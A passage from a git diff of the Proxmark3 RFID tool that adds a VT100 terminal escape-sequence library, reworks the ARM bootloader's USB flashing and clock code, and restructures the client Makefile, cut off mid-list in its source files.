UART_WRITE(p, buf, sizeof(buf)); + return 0; +} + +int vtsend_cursor_position_save(vtsend_t *p) { + char buf[1 + 3]; + buf[0] = ESC; + buf[1] = '['; + buf[2] = 's'; + buf[3] = '\0'; + + UART_WRITE(buf); // UART_WRITE(p, buf, sizeof(buf)); + return 0; +} + +int vtsend_cursor_position_restore(vtsend_t *p) { + char buf[1 + 3]; + buf[0] = ESC; + buf[1] = '['; + buf[2] = 'u'; + buf[3] = '\0'; + + UART_WRITE(buf); // UART_WRITE(p, buf, sizeof(buf)); + return 0; +} + +int vtsend_erase_display(vtsend_t *p) { + char buf[1 + 4]; + buf[0] = ESC; + buf[1] = '['; + buf[2] = '2'; + buf[3] = 'J'; + buf[4] = '\0'; + + UART_WRITE(buf); // UART_WRITE(p, buf, sizeof(buf)); + return 0; +} + +int vtsend_erase_line(vtsend_t *p) { + char buf[1 + 4]; + buf[0] = ESC; + buf[1] = '['; + buf[2] = '2'; + buf[3] = 'K'; + buf[4] = '\0'; + + UART_WRITE(buf); // UART_WRITE(p, buf, sizeof(buf)); + return 0; +} + +int vtsend_set_color_foreground(vtsend_t *p, const int color) { + char buf[1 + 5]; + buf[0] = ESC; + buf[1] = '['; + buf[2] = '0' + ((30 + color) / 10); + buf[3] = '0' + ((30 + color) % 10); + buf[4] = 'm'; + buf[5] = '\0'; + + UART_WRITE(buf); // UART_WRITE(p, buf, sizeof(buf)); + return 0; +} + +int vtsend_set_color_background(vtsend_t *p, const int color) { + char buf[1 + 5]; + buf[0] = ESC; + buf[1] = '['; + buf[2] = '0' + ((40 + color) / 10); + buf[3] = '0' + ((40 + color) % 10); + buf[4] = 'm'; + buf[5] = '\0'; + + UART_WRITE(buf); // UART_WRITE(p, buf, sizeof(buf)); + return 0; +} + +int vtsend_set_attribute(vtsend_t *p, const int attr) { + char buf[1 + 5]; + buf[0] = ESC; + buf[1] = '['; + buf[2] = '0' + ((attr) / 10); + buf[3] = '0' + ((attr) % 10); + buf[4] = 'm'; + buf[5] = '\0'; + + UART_WRITE(buf); // UART_WRITE(p, buf, sizeof(buf)); + return 0; +} + +int vtsend_set_scroll_region(vtsend_t *p, const int top, const int bottom) { + char buf[1 + 8]; + buf[0] = ESC; + buf[1] = '['; + buf[2] = '0' + (top / 10); + buf[3] = '0' + (top % 10); + buf[4] = ';'; + buf[5] = '0' + (bottom / 10); + buf[6] = '0' + (bottom % 10); + buf[7] = 'r'; + buf[8] = '\0'; + + UART_WRITE(buf); // UART_WRITE(p, buf, sizeof(buf)); + return 0; +} + +int vtsend_set_cursor(vtsend_t *p, const int visible) { + if (visible) { + char buf[1 + 6]; + buf[0] = ESC; + buf[1] = '['; + buf[2] = '?'; + buf[3] = '2'; + buf[4] = '5'; + buf[5] = 'h'; + buf[6] = '\0'; + + UART_WRITE(buf); // UART_WRITE(p, buf, sizeof(buf)); + } else { + char buf[1 + 6]; + buf[0] = ESC; + buf[1] = '['; + buf[2] = '?'; + buf[3] = '2'; + buf[4] = '5'; + buf[5] = 'l'; + buf[6] = '\0'; + + UART_WRITE(buf); // UART_WRITE(p, buf, sizeof(buf)); + } + return 0; +} + +int vtsend_reset(vtsend_t *p) { + char buf[1 + 2]; + buf[0] = ESC; + buf[1] = 'c'; + buf[2] = '\0'; + + UART_WRITE(buf); // UART_WRITE(p, buf, sizeof(buf)); + return 0; +} + +int vtsend_draw_box(vtsend_t *p, const int x1, const int y1, const int x2, const int y2) { + int i; + + vtsend_cursor_position(p, x1, y1); + for (i = x1; i <= x2; i++) { + UART_WRITE("-"); + } + vtsend_cursor_position(p, x1, y2); + for (i = x1; i <= x2; i++) { + UART_WRITE("-"); + } + for (i = y1; i <= y2; i++) { + vtsend_cursor_position(p, x1, i); + UART_WRITE("|"); + vtsend_cursor_position(p, x2, i); + UART_WRITE("|"); + } + return 0; +} + +int vtsend_fill_box(vtsend_t *p, const int x1, const int y1, const int x2, const int y2) { + int i, j; + for (i = y1; i <= y2; i++) { + vtsend_cursor_position(p, x1, i); + for (j = x1; j <= x2; j++) { + UART_WRITE(" "); + } + } + return 0; +} + diff --git a/armsrc/vtsend.h b/armsrc/vtsend.h new file mode 100644 index 000000000..784ff3ebc --- /dev/null +++ b/armsrc/vtsend.h @@ -0,0 +1,93 @@ +/** + * @file vtsend.h + * @author CuBeatSystems + * @author Shinichiro Nakamura + * @copyright + * =============================================================== + * Natural Tiny Shell (NT-Shell) Version 0.3.1 + * =============================================================== + * Copyright (c) 2010-2016 Shinichiro Nakamura + * + * Permission is hereby granted, free of charge, to any person + * obtaining a copy of this software and associated documentation + * files (the "Software"), to deal in the Software without + * restriction, including without limitation the rights to use, + * copy, modify, merge, publish, distribute, sublicense, and/or + * sell copies of the Software, and to permit persons to whom the + * Software is furnished to do so, subject to the following + * conditions: + * + * The above copyright notice and this permission notice shall be + * included in all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, + * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES + * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND + * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT + * HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, + * WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING + * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR + * OTHER DEALINGS IN THE SOFTWARE. + */ + +#ifndef VTSEND_H +#define VTSEND_H + +#define VTSEND_COLOR_BLACK (0) +#define VTSEND_COLOR_RED (1) +#define VTSEND_COLOR_GREEN (2) +#define VTSEND_COLOR_YELLOW (3) +#define VTSEND_COLOR_BLUE (4) +#define VTSEND_COLOR_MAGENTA (5) +#define VTSEND_COLOR_CYAN (6) +#define VTSEND_COLOR_WHITE (7) + +#define VTSEND_ATTR_OFF (0) +#define VTSEND_ATTR_BOLD_ON (1) +#define VTSEND_ATTR_UNDERSCORE (4) +#define VTSEND_ATTR_BLINK_ON (5) +#define VTSEND_ATTR_REVERSE (7) +#define VTSEND_ATTR_CONCEALED_ON (8) + +typedef int (*VTSEND_SERIAL_WRITE)(const char *buf, const int siz, void *extobj); + +typedef struct { + VTSEND_SERIAL_WRITE uart_write; + void *extobj; +} vtsend_t; + +#ifdef __cplusplus +extern "C" { +#endif + +int vtsend_init(vtsend_t *p, VTSEND_SERIAL_WRITE uart_write, void *extobj); +int vtsend_cursor_position(vtsend_t *p, const int column, const int line); +int vtsend_cursor_up(vtsend_t *p, const int n); +int vtsend_cursor_down(vtsend_t *p, const int n); +int vtsend_cursor_forward(vtsend_t *p, const int n); +int vtsend_cursor_backward(vtsend_t *p, const int n); +int vtsend_cursor_position_save(vtsend_t *p); +int vtsend_cursor_position_restore(vtsend_t *p); +int vtsend_erase_display(vtsend_t *p); +int vtsend_erase_line(vtsend_t *p); +int vtsend_set_color_foreground(vtsend_t *p, const int color); +int vtsend_set_color_background(vtsend_t *p, const int color); +int vtsend_set_attribute(vtsend_t *p, const int attr); +int vtsend_set_scroll_region(vtsend_t *p, const int top, const int bottom); +int vtsend_set_cursor(vtsend_t *p, const int visible); +int vtsend_reset(vtsend_t *p); + +int vtsend_draw_box( + vtsend_t *p, + const int x1, const int y1, const int x2, const int y2); +int vtsend_fill_box( + vtsend_t *p, + const int x1, const int y1, const int x2, const int y2); + +#ifdef __cplusplus +} +#endif + +#endif + + diff --git a/bootrom/Makefile b/bootrom/Makefile index 923739956..a579c46d3 100644 --- a/bootrom/Makefile +++ b/bootrom/Makefile @@ -8,8 +8,12 @@ # DO NOT use thumb mode in the phase 1 bootloader since that generates a section with glue code ARMSRC = -THUMBSRC = cmd.c usb_cdc.c bootrom.c +THUMBSRC = cmd.c \ + usb_cdc.c \ + bootrom.c + ASMSRC = ram-reset.s flash-reset.s +VERSIONSRC = version.c ## There is a strange bug with the linker: Sometimes it will not emit the glue to call ## BootROM from ARM mode. The symbol is emitted, but the section will be filled with @@ -19,13 +23,17 @@ ASMSRC = ram-reset.s flash-reset.s # THUMBSRC := # stdint.h provided locally until GCC 4.5 becomes C99 compliant -APP_CFLAGS = -I. +APP_CFLAGS = -I. -fno-strict-aliasing -ffunction-sections -fdata-sections # Do not move this inclusion before the definition of {THUMB,ASM,ARM}SRC include ../common/Makefile.common OBJS = $(OBJDIR)/bootrom.s19 +# version.c should be remade on every compilation +version.c: default_version.c + perl ../tools/mkversion.pl .. > $@ || $(COPY) $^ $@ + all: $(OBJS) tarbin: $(OBJS) diff --git a/bootrom/bootrom.c b/bootrom/bootrom.c index 0c4831c8d..0dcf52b28 100644 --- a/bootrom/bootrom.c +++ b/bootrom/bootrom.c @@ -9,27 +9,26 @@ #include #include "usb_cdc.h" #include "cmd.h" -//#include "usb_hid.h" - -void DbpString(char *str) { - byte_t len = 0; - while (str[len] != 0x00) { - len++; - } - cmd_send(CMD_DEBUG_PRINT_STRING,len,0,0,(byte_t*)str,len); -} struct common_area common_area __attribute__((section(".commonarea"))); unsigned int start_addr, end_addr, bootrom_unlocked; extern char _bootrom_start, _bootrom_end, _flash_start, _flash_end; +extern uint32_t _osimage_entry; -static void ConfigClocks(void) -{ +void DbpString(char *str) { + byte_t len = 0; + while (str[len] != 0x00) + len++; + + cmd_send(CMD_DEBUG_PRINT_STRING, len, 0, 0, (byte_t*)str, len); +} + +static void ConfigClocks(void) { // we are using a 16 MHz crystal as the basis for everything // slow clock runs at 32Khz typical regardless of crystal // enable system clock and USB clock - AT91C_BASE_PMC->PMC_SCER = AT91C_PMC_PCK | AT91C_PMC_UDP; + AT91C_BASE_PMC->PMC_SCER |= AT91C_PMC_PCK | AT91C_PMC_UDP; // enable the clock to the following peripherals AT91C_BASE_PMC->PMC_PCER = @@ -50,22 +49,21 @@ static void ConfigClocks(void) PMC_MAIN_OSC_STARTUP_DELAY(8); // wait for main oscillator to stabilize - while ( !(AT91C_BASE_PMC->PMC_SR & AT91C_PMC_MOSCS) ) - ; + while ( !(AT91C_BASE_PMC->PMC_SR & AT91C_PMC_MOSCS) ) {}; // PLL output clock frequency in range 80 - 160 MHz needs CKGR_PLL = 00 // PLL output clock frequency in range 150 - 180 MHz needs CKGR_PLL = 10 // PLL output is MAINCK * multiplier / divisor = 16Mhz * 12 / 2 = 96Mhz AT91C_BASE_PMC->PMC_PLLR = PMC_PLL_DIVISOR(2) | - PMC_PLL_COUNT_BEFORE_LOCK(0x50) | + //PMC_PLL_COUNT_BEFORE_LOCK(0x10) | + PMC_PLL_COUNT_BEFORE_LOCK(0x3F) | PMC_PLL_FREQUENCY_RANGE(0) | PMC_PLL_MULTIPLIER(12) | PMC_PLL_USB_DIVISOR(1); // wait for PLL to lock - while ( !(AT91C_BASE_PMC->PMC_SR & AT91C_PMC_LOCK) ) - ; + while ( !(AT91C_BASE_PMC->PMC_SR & AT91C_PMC_LOCK) ) {}; // we want a master clock (MCK) to be PLL clock / 2 = 96Mhz / 2 = 48Mhz // datasheet recommends that this register is programmed in two operations @@ -73,184 +71,155 @@ static void ConfigClocks(void) AT91C_BASE_PMC->PMC_MCKR = AT91C_PMC_PRES_CLK_2; // wait for main clock ready signal - while ( !(AT91C_BASE_PMC->PMC_SR & AT91C_PMC_MCKRDY) ) - ; + while ( !(AT91C_BASE_PMC->PMC_SR & AT91C_PMC_MCKRDY) ) {}; // set the source to PLL AT91C_BASE_PMC->PMC_MCKR = AT91C_PMC_PRES_CLK_2 | AT91C_PMC_CSS_PLL_CLK; // wait for main clock ready signal - while ( !(AT91C_BASE_PMC->PMC_SR & AT91C_PMC_MCKRDY) ) - ; + while ( !(AT91C_BASE_PMC->PMC_SR & AT91C_PMC_MCKRDY) ) {}; } -static void Fatal(void) -{ - for(;;); +static void Fatal(void) { + for(;;) {}; } void UsbPacketReceived(uint8_t *packet, int len) { - int i, dont_ack=0; - UsbCommand* c = (UsbCommand *)packet; - volatile uint32_t *p; + int i, dont_ack = 0; + UsbCommand* c = (UsbCommand *)packet; + volatile uint32_t *p; + + //if ( len != sizeof(UsbCommand)) Fatal(); - if(len != sizeof(UsbCommand)) { - Fatal(); - } + uint32_t arg0 = (uint32_t)c->arg[0]; - uint32_t arg0 = (uint32_t)c->arg[0]; + switch(c->cmd) { + case CMD_DEVICE_INFO: { + dont_ack = 1; + arg0 = DEVICE_INFO_FLAG_BOOTROM_PRESENT | DEVICE_INFO_FLAG_CURRENT_MODE_BOOTROM | + DEVICE_INFO_FLAG_UNDERSTANDS_START_FLASH; + if(common_area.flags.osimage_present) + arg0 |= DEVICE_INFO_FLAG_OSIMAGE_PRESENT; + + cmd_send(CMD_DEVICE_INFO,arg0,1,2,0,0); + } break; + + case CMD_SETUP_WRITE: { + /* The temporary write buffer of the embedded flash controller is mapped to the + * whole memory region, only the last 8 bits are decoded. + */ + p = (volatile uint32_t *)&_flash_start; + for(i = 0; i < 12; i++) + p[i+arg0] = c->d.asDwords[i]; + } break; + + case CMD_FINISH_WRITE: { + uint32_t* flash_mem = (uint32_t*)(&_flash_start); + for ( int j=0; j<2; j++) { + for(i = 0+(64*j); i < 64+(64*j); i++) { + flash_mem[i] = c->d.asDwords[i]; + } + + uint32_t flash_address = arg0 + (0x100*j); + + /* Check that the address that we are supposed to write to is within our allowed region */ + if( ((flash_address + AT91C_IFLASH_PAGE_SIZE - 1) >= end_addr) || (flash_address < start_addr) ) { + /* Disallow write */ + dont_ack = 1; + cmd_send(CMD_NACK,0,0,0,0,0); + } else { + uint32_t page_n = (flash_address - ((uint32_t)flash_mem)) / AT91C_IFLASH_PAGE_SIZE; + /* Translate address to flash page and do flash, update here for the 512k part */ + AT91C_BASE_EFC0->EFC_FCR = MC_FLASH_COMMAND_KEY | + MC_FLASH_COMMAND_PAGEN(page_n) | + AT91C_MC_FCMD_START_PROG; + } + + // Wait until flashing of page finishes + uint32_t sr; + while(!((sr = AT91C_BASE_EFC0->EFC_FSR) & AT91C_MC_FRDY)); + if(sr & (AT91C_MC_LOCKE | AT91C_MC_PROGE)) { + dont_ack = 1; + cmd_send(CMD_NACK,sr,0,0,0,0); + } + } + } break; + + case CMD_HARDWARE_RESET: { + usb_disable(); + AT91C_BASE_RSTC->RSTC_RCR = RST_CONTROL_KEY | AT91C_RSTC_PROCRST; + } break; + + case CMD_START_FLASH: { + if (c->arg[2] == START_FLASH_MAGIC) + bootrom_unlocked = 1; + else + bootrom_unlocked = 0; + + int prot_start = (int)&_bootrom_start; + int prot_end = (int)&_bootrom_end; + int allow_start = (int)&_flash_start; + int allow_end = (int)&_flash_end; + int cmd_start = c->arg[0]; + int cmd_end = c->arg[1]; + + /* Only allow command if the bootrom is unlocked, or the parameters are outside of the protected + * bootrom area. In any case they must be within the flash area. + */ + if( (bootrom_unlocked || ((cmd_start >= prot_end) || (cmd_end < prot_start))) && + (cmd_start >= allow_start) && + (cmd_end <= allow_end) ) { + start_addr = cmd_start; + end_addr = cmd_end; + } else { + start_addr = end_addr = 0; + dont_ack = 1; + cmd_send(CMD_NACK,0,0,0,0,0); + } + } break; + + default: { + Fatal(); + } break; + } - switch(c->cmd) { - case CMD_DEVICE_INFO: { - dont_ack = 1; -// c->cmd = CMD_DEVICE_INFO; - arg0 = DEVICE_INFO_FLAG_BOOTROM_PRESENT | DEVICE_INFO_FLAG_CURRENT_MODE_BOOTROM | - DEVICE_INFO_FLAG_UNDERSTANDS_START_FLASH; - if(common_area.flags.osimage_present) { - arg0 |= DEVICE_INFO_FLAG_OSIMAGE_PRESENT; - } -// UsbSendPacket(packet, len); - cmd_send(CMD_DEVICE_INFO,arg0,1,2,0,0); - } break; - - case CMD_SETUP_WRITE: { - /* The temporary write buffer of the embedded flash controller is mapped to the - * whole memory region, only the last 8 bits are decoded. - */ - p = (volatile uint32_t *)&_flash_start; - for(i = 0; i < 12; i++) { - p[i+arg0] = c->d.asDwords[i]; - } - } break; - - case CMD_FINISH_WRITE: { - uint32_t* flash_mem = (uint32_t*)(&_flash_start); -// p = (volatile uint32_t *)&_flash_start; - for (size_t j=0; j<2; j++) { - for(i = 0+(64*j); i < 64+(64*j); i++) { - //p[i+60] = c->d.asDwords[i]; - flash_mem[i] = c->d.asDwords[i]; - } - - uint32_t flash_address = arg0 + (0x100*j); - - /* Check that the address that we are supposed to write to is within our allowed region */ - if( ((flash_address+AT91C_IFLASH_PAGE_SIZE-1) >= end_addr) || (flash_address < start_addr) ) { - /* Disallow write */ - dont_ack = 1; - // c->cmd = CMD_NACK; - // UsbSendPacket(packet, len); - cmd_send(CMD_NACK,0,0,0,0,0); - } else { - uint32_t page_n = (flash_address - ((uint32_t)flash_mem)) / AT91C_IFLASH_PAGE_SIZE; - /* Translate address to flash page and do flash, update here for the 512k part */ - AT91C_BASE_EFC0->EFC_FCR = MC_FLASH_COMMAND_KEY | - MC_FLASH_COMMAND_PAGEN(page_n) | - AT91C_MC_FCMD_START_PROG; - // arg0 = (address - ((uint32_t)flash_s)); - } - - // Wait until flashing of page finishes - uint32_t sr; - while(!((sr = AT91C_BASE_EFC0->EFC_FSR) & AT91C_MC_FRDY)); - if(sr & (AT91C_MC_LOCKE | AT91C_MC_PROGE)) { - dont_ack = 1; - // c->cmd = CMD_NACK; - cmd_send(CMD_NACK,0,0,0,0,0); - // UsbSendPacket(packet, len); - } - } - } break; - - case CMD_HARDWARE_RESET: { -// USB_D_PLUS_PULLUP_OFF(); - usb_disable(); - AT91C_BASE_RSTC->RSTC_RCR = RST_CONTROL_KEY | AT91C_RSTC_PROCRST; - } break; - - case CMD_START_FLASH: { - if(c->arg[2] == START_FLASH_MAGIC) bootrom_unlocked = 1; - else bootrom_unlocked = 0; - { - int prot_start = (int)&_bootrom_start; - int prot_end = (int)&_bootrom_end; - int allow_start = (int)&_flash_start; - int allow_end = (int)&_flash_end; - int cmd_start = c->arg[0]; - int cmd_end = c->arg[1]; - - /* Only allow command if the bootrom is unlocked, or the parameters are outside of the protected - * bootrom area. In any case they must be within the flash area. - */ - if( (bootrom_unlocked || ((cmd_start >= prot_end) || (cmd_end < prot_start))) - && (cmd_start >= allow_start) && (cmd_end <= allow_end) ) { - start_addr = cmd_start; - end_addr = cmd_end; - } else { - start_addr = end_addr = 0; - dont_ack = 1; -// c->cmd = CMD_NACK; -// UsbSendPacket(packet, len); - cmd_send(CMD_NACK,0,0,0,0,0); - } - } - } break; - - default: { - Fatal(); - } break; - } - - if(!dont_ack) { -// c->cmd = CMD_ACK; -// UsbSendPacket(packet, len); - cmd_send(CMD_ACK,arg0,0,0,0,0); - } + if (!dont_ack) + cmd_send(CMD_ACK,arg0,0,0,0,0); } -static void flash_mode(int externally_entered) -{ +static void flash_mode(int externally_entered) { start_addr = 0; end_addr = 0; bootrom_unlocked = 0; - byte_t rx[sizeof(UsbCommand)]; - size_t rx_len; + byte_t rx[sizeof(UsbCommand)]; - usb_enable(); - for (volatile size_t i=0; i<0x100000; i++); + usb_enable(); + + // wait for reset to be complete? + for (volatile size_t i=0; i<0x100000; i++) {}; -// UsbStart(); for(;;) { WDT_HIT(); - - if (usb_poll()) { - rx_len = usb_read(rx,sizeof(UsbCommand)); - if (rx_len) { -// DbpString("starting to flash"); - UsbPacketReceived(rx,rx_len); - } - } - -// UsbPoll(TRUE); - - if(!externally_entered && !BUTTON_PRESS()) { + + // Check if there is a usb packet available + if ( cmd_receive( (UsbCommand*)rx ) ) + UsbPacketReceived(rx, sizeof(UsbCommand) ); + + if (!externally_entered && !BUTTON_PRESS()) { /* Perform a reset to leave flash mode */ -// USB_D_PLUS_PULLUP_OFF(); - usb_disable(); + usb_disable(); LED_B_ON(); AT91C_BASE_RSTC->RSTC_RCR = RST_CONTROL_KEY | AT91C_RSTC_PROCRST; - for(;;); + for(;;) {}; } - if(externally_entered && BUTTON_PRESS()) { + if (externally_entered && BUTTON_PRESS()) { /* Let the user's button press override the automatic leave */ externally_entered = 0; } } } -extern uint32_t _osimage_entry; -void BootROM(void) -{ +void BootROM(void) { //------------ // First set up all the I/O pins; GPIOs configured directly, other ones // just need to be assigned to the appropriate peripheral. @@ -292,16 +261,20 @@ void BootROM(void) GPIO_LED_C | GPIO_LED_D; -// USB_D_PLUS_PULLUP_OFF(); - usb_disable(); - LED_D_OFF(); - LED_C_ON(); - LED_B_OFF(); - LED_A_OFF(); + // USB_D_PLUS_PULLUP_OFF(); + usb_disable(); + LED_D_OFF(); + LED_C_ON(); + LED_B_OFF(); + LED_A_OFF(); - AT91C_BASE_EFC0->EFC_FMR = - AT91C_MC_FWS_1FWS | - MC_FLASH_MODE_MASTER_CLK_IN_MHZ(48); + // Set the first 256kb memory flashspeed + AT91C_BASE_EFC0->EFC_FMR = AT91C_MC_FWS_1FWS | MC_FLASH_MODE_MASTER_CLK_IN_MHZ(48); + + // 9 = 256, 10+ is 512kb + uint8_t id = ( *(AT91C_DBGU_CIDR) & 0xF00) >> 8; + if ( id > 9 ) + AT91C_BASE_EFC1->EFC_FMR = AT91C_MC_FWS_1FWS | MC_FLASH_MODE_MASTER_CLK_IN_MHZ(48); // Initialize all system clocks ConfigClocks(); @@ -309,36 +282,37 @@ void BootROM(void) LED_A_ON(); int common_area_present = 0; - switch(AT91C_BASE_RSTC->RSTC_RSR & AT91C_RSTC_RSTTYP) { + switch (AT91C_BASE_RSTC->RSTC_RSR & AT91C_RSTC_RSTTYP) { case AT91C_RSTC_RSTTYP_WATCHDOG: case AT91C_RSTC_RSTTYP_SOFTWARE: case AT91C_RSTC_RSTTYP_USER: /* In these cases the common_area in RAM should be ok, retain it if it's there */ - if(common_area.magic == COMMON_AREA_MAGIC && common_area.version == 1) { + if(common_area.magic == COMMON_AREA_MAGIC && common_area.version == 1) common_area_present = 1; - } break; default: /* Otherwise, initialize it from scratch */ break; } - if(!common_area_present){ + if (!common_area_present){ /* Common area not ok, initialize it */ - int i; for(i=0; i - - - - CFBundleDevelopmentRegion English - CFBundleIdentifier org.proxmark - CFBundleIconFile - CFBundleInfoDictionaryVersion 6.0 - CFBundlePackageType KEXT - CFBundleSignature ???? - CFBundleVersion 1.0.0 - IOKitPersonalities - - Proxmark3 - - CFBundleIdentifiercom.apple.kernel.iokit - IOClassIOService - IOProviderClassIOUSBInterface - bConfigurationValue 1 - bInterfaceNumber 0 - idProduct19343 - idVendor39620 - - - OSBundleLibraries - - com.apple.iokit.IOUSBFamily1.8 - - - diff --git a/client/Makefile b/client/Makefile index e4a3580b8..af2efb26c 100644 --- a/client/Makefile +++ b/client/Makefile @@ -3,70 +3,148 @@ # at your option, any later version. See the LICENSE.txt file for the text of # the license. #----------------------------------------------------------------------------- -include ../common/Makefile.common +# reveng will compile without macros, but these may be useful: +# Add -DBMPMACRO to use bitmap size constant macros (edit config.h) +# Add -DNOFORCE to disable the -F switch +# Add -DPRESETS to compile with preset models (edit config.h) -CC=gcc -CXX=g++ -#COMMON_FLAGS = -m32 +CC = gcc +CXX = g++ +LD = g++ +TAR = tar +TARFLAGS = -C .. --ignore-failed-read -rvf +RM = rm -f +MV = mv -VPATH = ../common +ENV_LDFLAGS := $(LDFLAGS) +ENV_CFLAGS := $(CFLAGS) + +VPATH = ../common ../zlib ../uart OBJDIR = obj -LDLIBS = -L/opt/local/lib -L/usr/local/lib -lreadline -lpthread ../liblua/liblua.a -LDFLAGS = $(COMMON_FLAGS) -CFLAGS = -std=c99 -I. -I../include -I../common -I/opt/local/include -I../liblua -Wall $(COMMON_FLAGS) -g -O4 +LDLIBS = -L/opt/local/lib -L/usr/local/lib -lreadline -lpthread -lm +LUALIB = ../liblua/liblua.a +LDFLAGS = $(ENV_LDFLAGS) +INCLUDES_CLIENT = -I. -I../include -I../common -I../common/polarssl -I../zlib -I../uart -I/opt/local/include -I../liblua +CFLAGS = $(ENV_CFLAGS) -std=c99 -D_ISOC99_SOURCE -DPRESETS $(INCLUDES_CLIENT) -Wall -g -O3 +CXXFLAGS = -I../include -Wall -O3 + LUAPLATFORM = generic - -ifneq (,$(findstring MINGW,$(platform))) -CXXFLAGS = -I$(QTDIR)/include -I$(QTDIR)/include/QtCore -I$(QTDIR)/include/QtGui -QTLDLIBS = -L$(QTDIR)/lib -lQtCore4 -lQtGui4 -MOC = $(QTDIR)/bin/moc -LUAPLATFORM = mingw -else ifeq ($(platform),Darwin) -#CXXFLAGS = -I/Library/Frameworks/QtGui.framework/Versions/Current/Headers -I/Library/Frameworks/QtCore.framework/Versions/Current/Headers -#QTLDLIBS = -framework QtGui -framework QtCore -CXXFLAGS = -I$(QTDIR)/include -I$(QTDIR)/include/QtCore -I$(QTDIR)/include/QtGui -QTLDLIBS = -F/opt/local/Library/Frameworks -framework QtGui -framework QtCore -MOC = moc -LUAPLATFORM = macosx +platform = $(shell uname) +ifneq (,$(findstring MINGW,$(platform))) + LUAPLATFORM = mingw + else + ifeq ($(platform),Darwin) + LUAPLATFORM = macosx else -CXXFLAGS = $(shell pkg-config --cflags QtCore QtGui 2>/dev/null) -Wall -O4 -QTLDLIBS = $(shell pkg-config --libs QtCore QtGui 2>/dev/null) -MOC = $(shell pkg-config --variable=moc_location QtCore) -LDLIBS += -ldl + LUALIB += -ldl + LDLIBS += -ltermcap -lncurses + LUAPLATFORM = linux +endif +endif -# Below is a variant you can use if you have problems compiling with QT5 on ubuntu. see http://www.proxmark.org/forum/viewtopic.php?id=1661 for more info. -#MOC = /usr/lib/x86_64-linux-gnu/qt4/bin/moc -LUAPLATFORM = linux +# Check for correctly configured Qt5 +QTINCLUDES = $(shell pkg-config --cflags Qt5Core Qt5Widgets 2>/dev/null) +QTLDLIBS = $(shell pkg-config --libs Qt5Core Qt5Widgets 2>/dev/null) +MOC = $(shell pkg-config --variable=host_bins Qt5Core)/moc +UIC = $(shell pkg-config --variable=host_bins Qt5Core)/uic +ifeq ($(QTINCLUDES), ) +# if Qt5 not found check for correctly configured Qt4 + QTINCLUDES = $(shell pkg-config --cflags QtCore QtGui 2>/dev/null) + QTLDLIBS = $(shell pkg-config --libs QtCore QtGui 2>/dev/null) + MOC = $(shell pkg-config --variable=moc_location QtCore) + UIC = $(shell pkg-config --variable=uic_location QtCore) +else + CXXFLAGS += -std=c++11 -fPIC +endif +ifeq ($(QTINCLUDES), ) +# if both pkg-config commands failed, search in common places + ifneq ($(QTDIR), ) + QTINCLUDES = -I$(QTDIR)/include -I$(QTDIR)/include/QtCore -I$(QTDIR)/include/QtGui + QTLDLIBS = -L$(QTDIR)/lib -lQtCore4 -lQtGui4 + ifneq ($(wildcard $(QTDIR)/include/QtWidgets),) + QTINCLUDES += -I$(QTDIR)/include/QtWidgets + QTLDLIBS = -L$(QTDIR)/lib -lQt5Widgets -lQt5Gui -lQt5Core + CXXFLAGS += -std=c++11 -fPIC + endif + MOC = $(QTDIR)/bin/moc + UIC = $(QTDIR)/bin/uic + endif endif ifneq ($(QTLDLIBS),) -QTGUI = $(OBJDIR)/proxgui.o $(OBJDIR)/proxguiqt.o $(OBJDIR)/proxguiqt.moc.o -CFLAGS += -DHAVE_GUI -LINK.o = $(LINK.cpp) + QTGUIOBJS = $(OBJDIR)/proxgui.o $(OBJDIR)/proxguiqt.o $(OBJDIR)/proxguiqt.moc.o + CFLAGS += -DHAVE_GUI else -QTGUI = guidummy.o + QTGUIOBJS = $(OBJDIR)/guidummy.o endif -CORESRCS = uart.c \ - util.c \ - sleep.c +# RDV40 flag enables flashmemory commands in client. comment out if you don't have rdv40 +CFLAGS += -DWITH_FLASH -DWITH_SMARTCARD +# Flags to generate temporary dependency files +DEPFLAGS = -MT $@ -MMD -MP -MF $(OBJDIR)/$*.Td +# make temporary to final dependeny files after successful compilation +POSTCOMPILE = $(MV) -f $(OBJDIR)/$*.Td $(OBJDIR)/$*.d -CMDSRCS = nonce2key/crapto1.c\ - nonce2key/crypto1.c\ - nonce2key/nonce2key.c\ - mifarehost.c\ - crc16.c \ - iso14443crc.c \ - iso15693tools.c \ - data.c \ - graph.c \ +CORESRCS = uart_posix.c \ + uart_win32.c \ ui.c \ + util.c \ + util_posix.c \ + scandir.c + +CMDSRCS = crapto1/crapto1.c \ + crapto1/crypto1.c \ + mfkey.c \ + tea.c \ + polarssl/des.c \ + polarssl/aes.c \ + polarssl/bignum.c \ + polarssl/rsa.c \ + polarssl/sha1.c \ + polarssl/sha256.c \ + polarssl/base64.c \ + loclass/cipher.c \ + loclass/cipherutils.c \ + loclass/ikeys.c \ + loclass/hash1_brute.c \ + loclass/elite_crack.c \ + loclass/fileutils.c \ + whereami.c \ + mifarehost.c \ + parity.c \ + crc.c \ + crc16.c \ + crc64.c \ + legic_prng.c \ + iso15693tools.c \ + prng.c \ + graph.c \ cmddata.c \ + lfdemod.c \ + emv/crypto_polarssl.c\ + emv/crypto.c\ + emv/emv_pk.c\ + emv/emv_pki.c\ + emv/emv_pki_priv.c\ + emv/test/cryptotest.c\ + emv/apduinfo.c \ + emv/dump.c \ + emv/tlv.c \ + emv/emv_tags.c \ + emv/dol.c \ + emv/emvcore.c \ + emv/test/crypto_test.c\ + emv/test/sda_test.c\ + emv/test/dda_test.c\ + emv/test/cda_test.c\ + emv/cmdemv.c \ + cmdanalyse.c \ cmdhf.c \ + cmdhflist.c \ cmdhf14a.c \ cmdhf14b.c \ cmdhf15.c \ @@ -74,77 +152,196 @@ CMDSRCS = nonce2key/crapto1.c\ cmdhflegic.c \ cmdhficlass.c \ cmdhfmf.c \ + cmdhfmfu.c \ + cmdhfmfhard.c \ + hardnested/hardnested_bruteforce.c \ + cmdhfmfdes.c \ + cmdhftopaz.c \ + cmdhffelica.c \ cmdhw.c \ cmdlf.c \ - cmdlfhid.c \ - cmdlfio.c \ + cmdlfawid.c \ + cmdlfcotag.c \ cmdlfem4x.c \ + 